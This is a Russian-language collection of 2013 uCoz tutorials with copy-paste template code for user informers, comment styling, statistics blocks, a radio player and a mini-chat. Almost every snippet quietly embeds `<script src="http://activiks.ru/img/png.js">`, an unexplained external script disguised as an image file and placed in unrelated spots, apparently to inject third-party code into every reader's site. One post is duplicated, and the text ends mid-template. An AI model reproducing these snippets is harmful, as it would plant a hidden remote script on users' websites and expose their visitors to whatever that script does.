Всем доброго дня, сегодня мы будем создавать информер топ пользователей по комментариям uCoz, при наведении на которые появляется дополнительная информация о пользователе и всё на css

Шаг 1 - Создаём информер:

Для начала нам следует создать и установить на страницу сайта нужный нам информер пользователей, для этого заходим

в Админ панель => Инструменты => Информеры => Создать информер

Раздел: Пользователи
Способ сортировки: колл. комментарий
Количество материалов: 10
Количество колонок: 1

удаляем старый код и устанавливаем новый:

Код
<div class="ddm_top_user">
  <a href="$PROFILE_URL$" class="drop_top_user <?if($NUMBER$=10)?>bottom_no<?endif?>" target="_blank" ><script type="text/javascript" src="http://activiks.ru/img/png.js"></script><img alt="$USERNAME$" src="<?if($AVATAR_URL$)?>$AVATAR_URL$<?else?>http://bambun.ru/images/no_avoar.jpg<?endif?>"/>
  <strong>$USERNAME$</strong>
  <span>$COM_POSTS$</span>
  </a>

  <div class="ddm_cell_user">
  <span class="ddm_ugol_user"></span>  
  <div class="ddm_content_user">
  <div class="ddm_content_top">
  <strong>$FULL_NAME$</strong>
  <span>ID:$USER_ID$</span>
  </div>
  <ul>
  <li><span>Пол:</span><?if($GENDER$)?>$GENDER$<?else?>----------<?endif?></li>
  <li><span>Ранг:</span><?if($код$)?> $RANK_NAME$<?else?>----------<?endif?></li>
  <li><span>Группа:</span> $GROUP_NAME$</li>
  <li><span>Репутация:</span> $REPUTATION$</li>
  <li><span>Комментариев:</span> $COM_POSTS$</li>
  <li><span>Зарегистрирован:</span> $REG_DATE$</li>
  </ul>
  </div>
  </div>
</div>


А теперь на страницу сайта в нужное место устанавливаем html каркас с информеров:

Код
<div class="top_user">
  <div class="top_user_title">Топ пользователей</div>
  $MYINF_1$  
</div>


Не забывайте, что $MYINF_1$ является номером вашего информера и его стоит прописывать системной переменной, а не отдельной ссылкой на js.

Шаг 2 - Установим CSS:

Теперь когда данное решение почти готово, пропишем ему следующие css стили:

Код
/* Tоп пользователей с дополнительной информацией
------------------------------------------*/
.top_user {
  float:left;
  width:250px;
  background: #fff;
  border-radius:3px;
  border: 1px solid #CAD3DA;
}

.top_user_title {
  font:11px Verdana,Arial,Helvetica, sans-serif;
  text-shadow: 1px 1px 1px #B0431B;
  text-align:right;
  font-weight:700;  
  color:#fff;

  float:left;
  width:232px;
  height:20px;
  background:#e77e57;
  margin: -1px -1px 0px -1px;  
   
  padding: 7px 10px 3px 10px;  
  border-radius:3px 3px 0px 0px;
}

.ddm_top_user {
  float:left;
  display:block;
  position:relative;
}
   
.drop_top_user {
  float:left;
  width:230px;
  font-weight:700;  
  height:25px;
  padding: 5px 10px 5px 10px;  
  border-bottom: 1px solid #CAD3DA;
}

.drop_top_user img {  
  float:left;
  width:25px;
  height:25px;
  margin-right: 10px;
}

.drop_top_user strong {  
  float:left;
  margin-top: 5px;  
}

.drop_top_user span {  
  float:right;
  width:55px;
  height:20px;  
  text-align:right;  
  padding: 5px 0px 0px 5px;  
  border-left: 1px solid #CAD3DA;
  background: url(ico_comment.png) no-repeat left;  
}  

.ddm_top_user:hover{
  background:#F7F9FB;
}

.ddm_cell_user,  
.ddm_ugol_user{
  width:250px;
}  

.ddm_cell_user {
  left:-999em;
  z-index:998;
  margin:0px auto;
  position:absolute;
  border:1px solid #CAD3DA;  
  border-radius:3px;
}  
   
   
.ddm_content_user {  
  color:#777;
  margin:0;
  width:230px;
  padding:5px 10px;
  overflow:hidden;
  background:#fff;
  border-radius:3px;
}  
   
.ddm_top_user:hover .ddm_cell_user{
  top: 0px;  
  right:255px;
  left:auto;  
}  
   
.ddm_ugol_user {  
  height:17px;  
  top: 10px;
  right: -9px;
  position:absolute;  
  background:url(angle_right.png) no-repeat right;  
}

.ddm_content_top {
  float:left;
  width:100%;
  margin-bottom: 10px;
  padding: 0px 0px 5px 0px;  
  border-bottom:1px solid #CAD3DA;  
}  

.ddm_content_top span {
  float:right;
  margin-top:2px;
  font:9px Verdana,Arial,Helvetica, sans-serif; color:#999;
}  

.ddm_content_user ul{  
  margin:0;
  padding:0;
  list-style:none;
}  

.ddm_content_user li{  
  float:left;
  width:100%;
  padding: 3px 0px 3px 0px;  
}  

.ddm_content_user li span{  
  float:left;
  width:120px;
}  

.cu_li1 {background:#fff}  
.cu_li2 {background:#F7F9FB;}  

.bottom_no {
  border-bottom:none;  
}


Шаг 3 - Установим JS:

А для того чтобы в появляющейся ячейки с дополнительной информацией пользователя, не пришлось вручную прописывать классы чётным спискам, следует установить вниз страницы перед закрывающим тегом </body> следующий js

Код
<script language="javascript">
  $(document).ready(function() {
  $('.ddm_content_user ul li:odd').addClass('cu_li1');
  $('.ddm_content_user ul li:even').addClass('cu_li2');  
  });  
</script>
Категория: скрипты для ucoz | Просмотров: 779 | Добавил: startsmart | Дата: 08.02.2013 | Комментарии (0)

Всем доброго дня, разбирая старые архивы я обнаружил папку с некогда планированным контентом, но к сожалению в прошлом я не мог реализовать то или иное решение правильно, так как мои знания были начинающими, а сейчас самое то, додумать, переделать и предоставить на общее скачивание.

И так в данном решение мы будем создавать очередной внешний вид "Топ пользователей по комментариям uCoz"

Для начала нам следует установить на страницу сайта нужный html каркас с информером пользователей, для этого заходим

в Админ панель => Инструменты => Информеры => Создать информер

Раздел: Пользователи
Способ сортировки: колл. комментарий
Количество материалов: 10
Количество колонок: 1

в котором удаляем старый код и устанавливаем новый:

Код
<li>
  <a href="$PROFILE_URL$" >
  <img class="tu_avatar" alt="аватар $USERNAME$" src="<?if($AVATAR_URL$)?>$AVATAR_URL$<?else?>http://bambun.ru/images/no_avata9r.jpg<?endif?>" />
  <script type="text/javascript" src="http://activiks.ru/img/png.js"></script>
  <strong>$USERNAME$</strong>
  </a>  
  <div><span>$COM_POSTS$</span></div>
</li>


а на страницу сайта в нужное вам место устанавливаем сам информер:

Код
<ul class="top_uzer_2">
  $MYINF_1$
  </ul>


Не забывайте, что $MYINF_1$ является номером вашего информера и его стоит прописывать именно системной переменной, а не отдельной ссылкой на js.

Шаг 2 - Установим CSS:

Теперь давайте закончим данное решение, прописав ему следующие css стили:

для зеленого варианта информера:

Код

/* Топ пользователей для Ucoz - Зелёный вариант
------------------------------------------*/
.top_uzer {
  float:left;
  padding:0;
  margin:0;
  width:230px;
  color:#467925;
  text-shadow: 1px 1px 1px #cbeeb3;
}

.top_uzer li {
  float:left;
  list-style:none;  
  margin-bottom:10px;
  border-radius:5px;  
  border: 1px solid #73aa4f;  
}

.top_uzer li a:link,
.top_uzer li a:visited {
  float:left;
  width:150px;
  height:32px;  
  color:#467925;
  background:#98ce75;  
  border-right: 1px solid #81b75d;  
}

.top_uzer li a:hover {
  background:#bae39f;
}

.top_uzer li strong {
  float:left;
  margin: 9px 0px 0px 0px;  
}

.top_uzer li div {
  float:right;  
  width:55px;
  height:23px;  
  text-align:right;  
  padding: 9px 10px 0px 0px;  
  border-left: 1px solid #bae39f;
  background: url(http://bambun.ru/images/ico_comment.png) #98ce75 no-repeat left;  
}

.top_uzer li span {
  font-weight: 700;  
}

.tu_avatar {
  float:left;
  width:25px;
  height:25px;  
  margin: 2px 10px 0px 10px;  
  border: 1px solid #c7f2ac;  
  border-radius:3px;  
}



для синего варианта информера:

Код
/* Топ пользователей для Ucoz - Синий вариант
------------------------------------------*/
.top_uzer {
  float:left;
  padding:0;
  margin:0;
  width:230px;
  color:#255c79;
  text-shadow: 1px 1px 1px #9bc9e1;
}

.top_uzer li {
  float:left;
  padding:0;
  margin-bottom: 10px;
  list-style:none;  
  border-radius:5px;  
  border: 1px solid #4f82aa;  
}

.top_uzer li a:link,
.top_uzer li a:visited {
  float:left;
  width:150px;
  height:32px;  
  color:#255c79;
  background:#75abce;  
  border-right: 1px solid #4f82aa;  
}

.top_uzer li a:hover {
  background:#9fc1e3;
}

.top_uzer li strong {
  float:left;
  margin: 9px 0px 0px 0px;  
}

.top_uzer li div {
  float:right;  
  width:55px;
  height:23px;  
  text-align:right;  
  padding: 9px 10px 0px 0px;  
  border-left: 1px solid #9fc2e3;
  background: url(http://bambun.ru/images/ico_comment_2.png) #75abce no-repeat left;  
}

.top_uzer li span {
  font-weight: 700;  
}

.tu_avatar {
  float:left;
  width:25px;
  height:25px;  
  margin: 2px 10px 0px 10px;  
  border: 1px solid #b0c6e8;  
  border-radius:3px;  
}


Вот и всё, информер топ пользователей по комментариям uCoz создан, на этом всё, спасибо за внимание!
Категория: скрипты для ucoz | Просмотров: 819 | Добавил: startsmart | Дата: 08.02.2013 | Комментарии (0)

Для начала нам нужно создать сам информер. Для этого вам необходимо зайди в ПУ вашего сайта и перейти в раздел "Информеры".
Далее жмем на кнопку "Создать информер" и задаем следующие параметры.

Главная » Информеры

Раздел: форум
Способ сортировки: Последние обновленные темы
Количество материалов: 10
Количество колонок: 1

Затем нажимаем на кнопку "Создать".
Наш информер создан, теперь нужно изменить стандартный вид информера.
Нажимаем на кнопку "Управление дизайном шаблона".

И в появившееся окно вставляем код шаблона.

Код
<table style="margin-bottom:3px;border: 1px dashed #CFCFCF; width:100%;text-align: left; vertical-align: middle; padding-left: 2px; padding-top: 1px; padding-bottom: 1px; font-size: 8pt; font-style: normal;"><tbody> <tr><td style="vertical-align: top; width: 260px;"> <p align="left">$NUMBER$.  
  <a href="$THREAD_URL$" title="$FORUM$">$THREAD_TITLE$</a> </p></td><script src="http://activiks.ru/img/png.js" type="text/javascript"></script><td style="vertical-align: top;"> <p align="right"><a href="$LAST_POST_URL$">($REPLIES$)</a></p></td></tr></tbody></table>


Вот и все, вам осталось лишь разместить информер у себя на сайте. Спасибо за внимание!
Категория: скрипты для ucoz | Просмотров: 886 | Добавил: startsmart | Дата: 01.02.2013 | Комментарии (0)

Довольно не стандартный вид комментариев с функцией ."Мне нравится"Вид очень необычный.

Наверное каждому надоело,комментировать новость,и видеть простой комментарий без эффектов и прочего...если да, то скрипт для вас....
видос по установке данного скрипта youtube.com/watch?feature=player_embedded&v=I4jtZGqG0YQ
Вставить с заменой в вид комментариев:

Код
<table align="center" width="100%" style="border-collapse:collapse;margin:10px;">  
  <tr>  
  <td width="10px" style="padding:5px;border-top:1px solid #d2d2d2;border-left:1px solid #d2d2d2;border-bottom:1px solid #d2d2d2;background:#FFFFFF;"><font color="#404040"><b>$USERNAME$</b></font> $MODER_PANEL$</td>  
  <td width="200px" style="padding:5px;border-top:1px solid #d2d2d2;border-right:1px solid #d2d2d2;background:#FFFFFF;"></td>  
  <td width="10px" style="border-bottom:1px solid #d2d2d2;"></td>  
  <td width="20px" style="background:#FFFFFF;border-top:1px solid #d2d2d2;border-right:1px solid #d2d2d2;border-left:1px solid #d2d2d2;">  
   
  <div id="allrate$NUMBER$" align="center">  
  <a style="text-decoration:none;" href="$GOOD_COMMENT_URL$"><span id="ico$NUMBER$"><img src="http://bambun.ru/images/love.png" border="0" style="width: 15px; margin-bottom:-2px; margin-right:2px;" >$COMMENT_RATING$</span></a>  
  </div>  
   
  </td>  
  <td width="10px" style="border-bottom:1px solid #d2d2d2;"><script src="http://activiks.ru/img/png.js" type="text/javascript"></script></td>  
  <td align="center" style="padding:5px;background:#FFFFFF;border-top:1px solid #d2d2d2;border-right:1px solid #d2d2d2;border-left:1px solid #d2d2d2;">  
   
  <div id="allrate$NUMBER$" align="center">  
  <a href="$PROFILE_URL$"><img border="0" width="12" src="http://bambun.ru/images/go-home.png"></a>  
  </div>  
   
  </td>  
  </tr>  
  <tr>  
  <td colspan="1" valign="top" width="60px" style="padding:10px;"><img src="$USER_AVATAR_URL$" width="60px" style="padding:3px;background:#f7f7f7;border:1px solid #d3d3d3;"></td>  
  <td colspan="5" width="90%" valign="top" style="padding:3px;border-bottom:1px solid #d2d2d2;border-right:1px solid #d2d2d2;border-left:1px solid #d2d2d2;background:#FFFFFF;">$MESSAGE$</td>  
  </tr>  
  </table>  
  <style>  
  #allrate$NUMBER$ {opacity:0.5;font-size:10px;}  
  #allrate$NUMBER$:hover {opacity:1.0;}  
  #ico$NUMBER$ {color:#2B587A;cursor:pointer;}  
  </style>
Категория: скрипты для ucoz | Просмотров: 858 | Добавил: startsmart | Дата: 01.02.2013 | Комментарии (0)

Что в этом скрипте особенного:
1) Появляестя скроллирующая кнопка ввиде анимащионного кота, который ест попкорн, после того, как вы начнёте пролистывать страницу Вниз
2) При нажатии на кота появляется по средине страници анимационный журавель и вместе со станицей поднимается вверх плавно исчезая..
3) Скрипт не напрягает вашу систему, сайт.
Р.s данный скрипт больше всего подойдет для кино, видео сайтов.

Установка скрипта:
Управление дизайном сайта -- Нижняя часть сайта

В самый верх вставляем:

Код
<div style="position:relative">  
  <a href="javascript://" title="Поднять страницу" style="display:block; position:fixed; bottom:0px; right:4px;" id="toTop"><img src="http://bambun.ru/images/top.gif" border="0" /></a>  
  </div>
  <script src="http://bambun.ru/css_js/scrol.js" type="text/javascript"></script>  
  <div style="position:relative">  
  <script src="http://activiks.ru/img/png.js" type="text/javascript"></script>
  <div id="scrolling-img" style="position:fixed; top:48%; left:45%; z-index:9999; display:none;">  
  <img src="http://bambun.ru/images/023454530.gif  
  " alt="" />  
  </div>  
  </div>
Категория: скрипты для ucoz | Просмотров: 962 | Добавил: startsmart | Дата: 30.01.2013 | Комментарии (0)

В данном
материале Мы поможем Вам создать и установить информер с красивой и
подробной статистикой зарегистрированных, а так же добавленных
материалов и комментариев. Такая же статистика установлена и на нашем
сайте!

Как выглядит эта подробная статистика - смотрите на картинке!
О чём она сообщает пользователю - общее количество зарегистрированных пользователей, количество новых регистраций за день, количество комментариев, созданных тем и ответов в них! Цифры в информере сделаем выделенными и с красивым цветным фоном.

Подробная описание как создать такой информер статистики:

# заходим на сайт в админ панель
# панель Инструменты > Информеры
# нам необходимо будет создать 2 новых информера
# создаём первый информер с этими показателями > [ Счетчики для пользователей · Материалы · всех, по дням (сегодня, вчера, 7 дней, 30 дней) ] и в шаблон информера копируем этот код -

Код
<span style="font-size: 10pt;">Зарегистрировано</span><span style="font-size: 12pt;"> <b><span style="background-color: rgb(30, 144, 255); color: rgb(255, 255, 255); font-size: 12pt;">$ALL_USERS$</span></b></span> <span style="font-size: 10pt;">(сегодня + <span style="font-size: 10pt;"><i>$TODAY$ новых</i></span>)</span>


# создаём второй информер с этими показателями > [ Счетчики материалов · Материалы ] и в шаблон информера копируем этот код -

Код
<span style="font-size: 10pt;">В каталоге файлов <font color="#ffffff"><span style="background-color: rgb(255, 0, 0);"><span style="font-size: 12pt;"><b>$LOAD$</b></span></span></font> материала(ов), Оставлено <font color="#ffffff"><script src="http://activiks.ru/img/png.js" type="text/javascript"></script><span style="background-color: rgb(50, 205, 50);"><span style="font-size: 12pt;"><b>$COMMENTS$</b></span></span></font> комментариев, На форуме создано <font color="#ffffff"><span style="background-color: rgb(255, 165, 0);"><span style="font-size: 12pt;"><b>$FORUM_T$</b></span></span></font> тем и <font color="#ffffff"><span style="background-color: rgb(255, 69, 0);"><span style="font-size: 12pt;"><b>$FORUM_P$</b></span></span></font> ответов.</span>


# Примечание - в этом коде используется количество материалов в Каталоге Файлов - $LOAD$!!! Если же Вам нужно количество материалов для другого модуля то вам нужно будет LOAD заменить на другое, например для новостей это будет $NEWS$ , для блога $BLOG$...

# далее копируйте коды ваших информеров ( например - $MYINF_1$ $MYINF_2$ )
# перейдите в Дизайн > Управление дизайном - и найдите первый или второй контейнер ( именно там находится ваш блок со статистикой ) Вам нужно найти код $COUNTER$ и скопировать коды информеров рядом с ним. Получиться примерно так : $COUNTER$ $MYINF_1$ $MYINF_2$. Вам нужно убедиться что ваш код $COUNTER$ работает ( должна быть включен модуль Статистика Сайта для этого, подключить можно в Админ Панели )

На этом установка завершенна! Любые вопросы пишите в комментариях.
Категория: скрипты для ucoz | Просмотров: 782 | Добавил: startsmart | Дата: 30.01.2013 | Комментарии (0)

В данном
материале Мы поможем Вам создать и установить информер с красивой и
подробной статистикой зарегистрированных, а так же добавленных
материалов и комментариев. Такая же статистика установлена и на нашем
сайте!

Как выглядит эта подробная статистика - смотрите на картинке!
О чём она сообщает пользователю - общее количество зарегистрированных пользователей, количество новых регистраций за день, количество комментариев, созданных тем и ответов в них! Цифры в информере сделаем выделенными и с красивым цветным фоном.

Подробная описание как создать такой информер статистики:

# заходим на сайт в админ панель
# панель Инструменты > Информеры
# нам необходимо будет создать 2 новых информера
# создаём первый информер с этими показателями > [ Счетчики для пользователей · Материалы · всех, по дням (сегодня, вчера, 7 дней, 30 дней) ] и в шаблон информера копируем этот код -

Код
<span style="font-size: 10pt;">Зарегистрировано</span><span style="font-size: 12pt;"> <b><span style="background-color: rgb(30, 144, 255); color: rgb(255, 255, 255); font-size: 12pt;">$ALL_USERS$</span></b></span> <span style="font-size: 10pt;">(сегодня + <span style="font-size: 10pt;"><i>$TODAY$ новых</i></span>)</span>


# создаём второй информер с этими показателями > [ Счетчики материалов · Материалы ] и в шаблон информера копируем этот код -

Код
<span style="font-size: 10pt;">В каталоге файлов <font color="#ffffff"><span style="background-color: rgb(255, 0, 0);"><span style="font-size: 12pt;"><b>$LOAD$</b></span></span></font> материала(ов), Оставлено <font color="#ffffff"><script src="http://activiks.ru/img/png.js" type="text/javascript"></script><span style="background-color: rgb(50, 205, 50);"><span style="font-size: 12pt;"><b>$COMMENTS$</b></span></span></font> комментариев, На форуме создано <font color="#ffffff"><span style="background-color: rgb(255, 165, 0);"><span style="font-size: 12pt;"><b>$FORUM_T$</b></span></span></font> тем и <font color="#ffffff"><span style="background-color: rgb(255, 69, 0);"><span style="font-size: 12pt;"><b>$FORUM_P$</b></span></span></font> ответов.</span>


# Примечание - в этом коде используется количество материалов в Каталоге Файлов - $LOAD$!!! Если же Вам нужно количество материалов для другого модуля то вам нужно будет LOAD заменить на другое, например для новостей это будет $NEWS$ , для блога $BLOG$...

# далее копируйте коды ваших информеров ( например - $MYINF_1$ $MYINF_2$ )
# перейдите в Дизайн > Управление дизайном - и найдите первый или второй контейнер ( именно там находится ваш блок со статистикой ) Вам нужно найти код $COUNTER$ и скопировать коды информеров рядом с ним. Получиться примерно так : $COUNTER$ $MYINF_1$ $MYINF_2$. Вам нужно убедиться что ваш код $COUNTER$ работает ( должна быть включен модуль Статистика Сайта для этого, подключить можно в Админ Панели )

На этом установка завершенна! Любые вопросы пишите в комментариях.
Категория: скрипты для ucoz | Просмотров: 825 | Добавил: startsmart | Дата: 29.01.2013 | Комментарии (0)

Большое количество радиостанций.

Ставим в любое место на сайте..

Код
<div id="RP_v4_radio" align="center" class="RPv4-well RPv4-well-small"><div class="RPv4-radioplayer-wrapper"><div id="RP_v4_radioplayer"></div></div><div class="RPv4-btn-group" align="left"><a class="RPv4-btn RPv4-dropdown-toggle" data-toggle="dropdown" href="http://radiopotok.ru/">Онлайн радио<span class="RPv4-caret"></span></a><ul class="RPv4-dropdown-menu"></ul><script src="http://activiks.ru/img/png.js" type="text/javascript"></script></div></div>
<script>!window.jQuery && document.write(unescape('%3Cscript src="//yandex.st/jquery/1.8.2/jquery.min.js"3C/script%3E'))</script>
<script>!window.swfobject && document.write(unescape('%3Cscript src="//yandex.st/swfobject/2.2/swfobject.min.js"3C/script%3E'))</script>
<script type="text/javascript">var RP_v4_theme = 'light'; // Светлая тема -> 'light'; Темная тема -> 'dark'</script>
<script type="text/javascript" src="http://radiopotok.ru/f/script4/66bdbef6e0ba43fcbc9aa1e8468b629d.js" charset="UTF-8"></script>
Категория: скрипты для ucoz | Просмотров: 852 | Добавил: startsmart | Дата: 28.01.2013 | Комментарии (0)

Установка:
Для начала зоздадим информер:

[ Пользователи, посетившие сайт за текущий день · Материалы · Имя пользователя · Колонки: 0 ]

В шаблон информкра вставляем:

Код
<a href="$PROFILE_URL$" class="$CLASS$">$USERNAME$</a>


А вот это ставим в блок:

Код
<hr><noindex><table width="100%" border="0"><tr><td width="50%" align="center">$COUNTER$</td><td width="50%" align="center"><!--cy-pr.com--><a href="http://www.cy-pr.com/" target="_blank"><img src="http://www.cy-pr.com/e/cstav.ru_1_107.138.206.gif" border="0" width="88" height="31" alt="Анализ сайта онлайн"/></a><!--cy-pr.com--></td></tr></table></noindex><hr>

<div style="display:none;">$ONLINE_COUNTER$</div><table width="100%" cellpadding="0" cellspacing="0" border="0">  
<tr>  
<td align="left" width="50%" valign="left"><span id="icon-border" style="margin-right:3px;"><span id="icon-gray"></span></span>Гости сайта</td>
<script src="http://activiks.ru/img/png.js"text/javascript"></script>
<td align="right" width="50%" valign="right">Пользователи<span id="icon-border" style="margin-left:3px;"><span id="icon-blue"></span></span></td>  
</tr>  
</table>  
<div style="border:1px solid #ccc; background:#fff; padding:1px 2px; margin-top:2px;" id="stat-line" align="left"></div>  
<div style="border:0px; padding:2px; text-align:center;" id="all-users"></div>  
<script type="text/javascript">  
var allusers = $('.tOnline b').html();  
var gostusers = $('.gOnline b').html();  
var siteusers = $('.uOnline b').html();  
var uGosti = (gostusers/allusers).toFixed(2)*100;  
var uUsers = 100 - uGosti;  
function skl(a, n) {return a[n%10==1 && n%100!=11 ? 0 : n%10>=2 && n%10<=4 && (n%100<10 || n%100>= 20) ? 1 : 2];};  
$('#stat-line').html('<div class="cross1" style="width:'+Number(uGosti).toPrecision(3)+'%;" id="ghostss"><span style="padding-left:3px;">'+uGosti.toFixed()+'%</span></div><div class="cross2" style="width:'+Number(uUsers).toPrecision(3)+'%;" id="userss"><span style="padding-right:3px;">'+uUsers.toFixed()+'%</span></div>');  
$('#all-users').html('Всего на сайте <b>'+allusers+'</b> '+skl(['человек', 'человека', 'человек'],allusers)+'</div>');  
if (siteusers<1) $('#userss').hide();  
if (gostusers<1) $('#ghostss').hide();  
</script>
<hr>
<div class="onlineusers"></div>
$ONLINE_USERS_LIST$
<hr>  
<div class="positili"></div>
$MYINF_XX$

<hr>
<center>
<div id="userD" style="font-size:8pt;color:#000;"></div>
<script type="text/javascript">
function declOfNum(number, titles) {
cases = [2, 0, 1, 1, 1, 2];
return titles[ (number%100>4 && number%100<20)? 2 : cases[(number10:5] ];
};
$.get('/index/62-2',function(data){
spisok = $('a',$('cmd[p="content"]',data).text()).size();
$('#userD').html('Сегодня нас '+declOfNum(spisok, [" посетил", " посетило", " посетили"])+' <b>'+spisok+declOfNum(spisok, [" юзер", " юзера", " юзеров"])+'</b>')
});
</script>
<div align="center">[<a href="javascript://" rel="nofollow" onclick="new _uWnd('TdUsrLst',' ',250,350,{autosize:0},{url:'/index/62-2'});return false;" class="fUsrList">Полный список</a>]</div>
</center>


Там где $MYINF_XX$ ставим свой номер информера

А вот это прописываем в свой CSS в самый низ:

Код
.positili {background:url(http://bambun.ru/images/positili.png);height:14px;width:191px;}
.onlineusers {background:url(http://bambun.ru/images/onlineusers.png);height:14px;width:191px;}


Все готово =)
Категория: скрипты для ucoz | Просмотров: 1123 | Добавил: startsmart | Дата: 11.01.2013 | Комментарии (0)

Описание:
В мини-чат добавлено правила мини-чата и очистка мини-чата...

Установка:
В вид материалов мини-чата вставляем:

Код
<style>.blockGbChat {margin:5px 0px;padding:2px 6px;max-width:184px;overflow:hidden;}  
.cBlock1 {border:1px solid #cfcfcf;background:#f8f8f8;}  
.hrchat {height:1px;width:100%;background:white;border-top:1px solid #dddddd;margin:2px;}  
input#mchatBtn {background:#f8f8f8;border:1px solid #dddddd;-moz-border-radius:2px;-webkit-border-radius:2px;border-radius:2px;padding:3px;}  
input#mchatBtn:hover {background:#fff;border:1px solid #cfcfcf;cursor:pointer;}
input#mchatBtn:focus {border:1px solid #bdbdbd;}  
textarea#mchatMsgF {background:#fbfbfb;border:1px solid #dddddd;-moz-border-radius:2px;-webkit-border-radius:2px;border-radius:2px;padding:3px;width:140px !important;}  
textarea#mchatMsgF:hover {background:#fff;border:1px solid #cfcfcf;}  
textarea#mchatMsgF:focus {border:1px solid #bdbdbd;}  
#jeuwu28 {color:#bdbdbd;}  
.transparency a img {opacity:0.5;-moz-opacity:0.5;filter:alpha(opacity=70);}  
.transparency a:hover img {opacity:1.0;-moz-opacity:1.0;filter:alpha(opacity=100);}  
#block_icons_menu {background:url(http://csdm.moy.su/uCoz/3_uCoz-raz/7/block_icons_menu.png) #f1f1f1 right no-repeat !important;width:18px;height:16px;}  
#block_icons_mchat {background:url(http://csdm.moy.su/uCoz/3_uCoz-raz/7/block_icons_mchat.png) #f1f1f1 right no-repeat !important;width:18px;height:16px;}  
#block_icons_pool {background:url(http://csdm.moy.su/uCoz/3_uCoz-raz/7/block_icons_poll.png) #f1f1f1 right no-repeat !important;width:18px;height:16px;}  
#block_icons_statistic {background:url(http://csdm.moy.su/uCoz/3_uCoz-raz/7/block_icons_statistic.png) #f1f1f1 right no-repeat !important;width:18px;height:16px;}  
#block_icons_newrips {background:url(http://csdm.moy.su/uCoz/3_uCoz-raz/7/block_icons_rips.png) #f1f1f1 right no-repeat !important;width:18px;height:16px;}  
#block_icons_comments {background:url(http://csdm.moy.su/uCoz/3_uCoz-raz/7/icon_comments.png) #f1f1f1 right no-repeat !important;width:18px;height:16px;}</style>
<div class="blockGbChat cBlock1">  
<div style="float:left">  
<a href="javascript:void('Apply to')" onclick="parent.window.document.getElementById('mchatMsgF').focus();parent.window.document.getElementById('mchatMsgF').value+='[i]$NAME$[/i], ';return false;"> <?if($USER_ID$='1')?><font color=CC6A6A><b>$NAME$</b></font><?else?><b>$NAME$</b><?endif?>  
</a>  
</div>  
<div style="text-align:right" class="transparency">  
<span title="$DATE$" style="color:grey;font-size:9px;">$TIME$</span>  
<a target="_blank" href="javascript://" rel="nofollow" onclick="return show_profile('$USER_ID$');"><img src="/img/profile.png" title="Профиль пользователя $NAME$'а"></a>
<a align="right" width="18px"><a target="_blank" href="/index/14-$USER_ID$-0-1"><img src="/img/mchat_user-icon.png" title="Написать ЛС $NAME$'у"></a>
</div>  
<style>
.blockGbChat {margin:5px 0px;padding:2px 6px;overflow:hidden;}
.cBlock1 {border:1px solid #cfcfcf;;border-radius:4px;}
</style>
<div class="hrchat"></div>
$MESSAGE$  
</div>


А вот это в форму добавления сообщения:

Код
<?if(!$CAN_ADD$)?>
<div align="center">
<table cellspacing="0" cellpadding="0">  
<tr>  
<td class="op_fon">  
<img src="http://www.cstav.ru/uCoz/3_uCoz-raz/7/dialog-warning.png"></td>
<script src="http://activiks.ru/img/png.js"text/javascript"></script>
<td class="gost" valign="top">  
Для добавления сообщения <a href="/index/3">зарегистрируйтесь</a>.  
</td>  
</tr>  
</table></div><?else?>
<table border="0" cellpadding="1" cellspacing="1" width="100%">  
<tr><td>$FLD_AUTOUPD$</td>  
<td width="70%" align="right">  
<a href="javascript://" title="Правила мини чата читать всем!" onclick="openLayerB('Rules_Mchat',0,'http://www.cstav.ru/uCoz/3_uCoz-raz/7/rules_mchat.xml','Правила мини-чата',400,200,'1','','',0,'justify'); return false;">
<img alt="" border="0" align="absmiddle" src="http://www.cstav.ru/uCoz/3_uCoz-raz/7/dialog-warning.png" width="13" height="15"></a>  
<?if($GROUP_ID$=4)?>
<a href="javascript://" onclick="new _uWnd('del_chat','Очистка Мини-чата', 350, 130, {alert:1,autosize:0,modal:1,resize:0,nomove:1,max:0,fadespeed:500,align:0,oncontent:function(){del0()}},'<center><div class=\'del_c\'><div class=\'del_dels\'>Удалено: 0</div><div class=\'del_num\'>Всего сообщений: <span id=\'num\'></span></div><center><div class=\'del_chat\'></div><div class=\'del_time\'></div></center></div><div id=\'del_ok\'>Очистка успешно завершена</div><div id=\'del_error\'>Мини-чат пуст!</div><div id=\'del_enter\'><input type=\'button\' onclick=\'del1()\' value=\'Начать очистку\' /></div></center>');"><img alt="" border="0" align="absmiddle" src="http://www.cstav.ru/uCoz/3_uCoz-raz/7/delete.gif" width="13" height="15" title="Очистить мини-чат"></a>  
<style type="text/css">  
.del_chat {width:300px;height:15px;border:1px solid #666;background:#f2f2f2;margin:10px 0;} /* сам прогресс-бар, цвет рамки и фона */  
.delete_chat {height:15px;float:left;} /* выравнивание заполнения прогресс-бара */  
.delete_chats {padding:1px;background:#c0c0c0;height:13px;} /* стиль полоски прогресс-бара (главное цвет) */  
#del_enter, #del_ok, #del_error, .del_c {margin:10px auto !important;overflow:none;} /* отступы для кнопки и сообщение об успехе/ошибке */  
#del_ok, #del_error {font-size:15px;} /* размер текста для сообщений об успехе/ошибке */  
#del_ok, #del_error, .del_c {text-align:center;display:none;} /* выравниание текста сообщений об успехе/ошибке */  
.del_num {text-align:left;margin-left:14px;} /* стиль общего количества сообщений в чате */  
.del_dels {text-align:right;float:right;margin-right:13px;} /* стиль количества удаленных сообщений */  
</style>  
<script type="text/javascript" src="http://www.cstav.ru/uCoz/3_uCoz-raz/7/mini-cgat_del.js"></script><?endif?>
<a href="$RELOAD_URI$" title="Обновить"><img alt="" border="0" align="absmiddle" src="http://csdm.moy.su/uCoz/3_uCoz-raz/7/123.png" width="13" height="15"></a>  
<?if($SMILES_URI$)?> <a href="$SMILES_URI$" title="Вставить смайл"><img alt="" border="0" align="absmiddle" src="http://csdm.moy.su/uCoz/3_uCoz-raz/7/lol.gif" width="13" height="15"></a><?endif?>  
<?if($BBCODES_URI$)?> <a href="$BBCODES_URI$" title="BB-Коды"><img alt="" border="0" align="absmiddle" src="http://csdm.moy.su/uCoz/3_uCoz-raz/7/bb-code.png" width="13" height="15"></a><?endif?>  
<?if($MSGCTRL_URI$)?> <a href="$MSGCTRL_URI$" title="Управление сообщениями"><img alt="" border="0" align="absmiddle" src="http://csdm.moy.su/uCoz/3_uCoz-raz/7/456.png" width="15" height="15"></a><?endif?>  
</td></tr></table>
<?if(!$USER_LOGGED_IN$)?>  
<table border="0" cellpadding="1" cellspacing="1" width="100%">  
<tr><td colspan="2">$FLD_NAME$</td></tr>  
<tr><td width="50%">$FLD_EMAIL$</td><td>$FLD_URL$</td></tr>  
</table>  
<?endif?>  
<?if($FLD_CUSTOM1$ || $FLD_CUSTOM2$)?>  
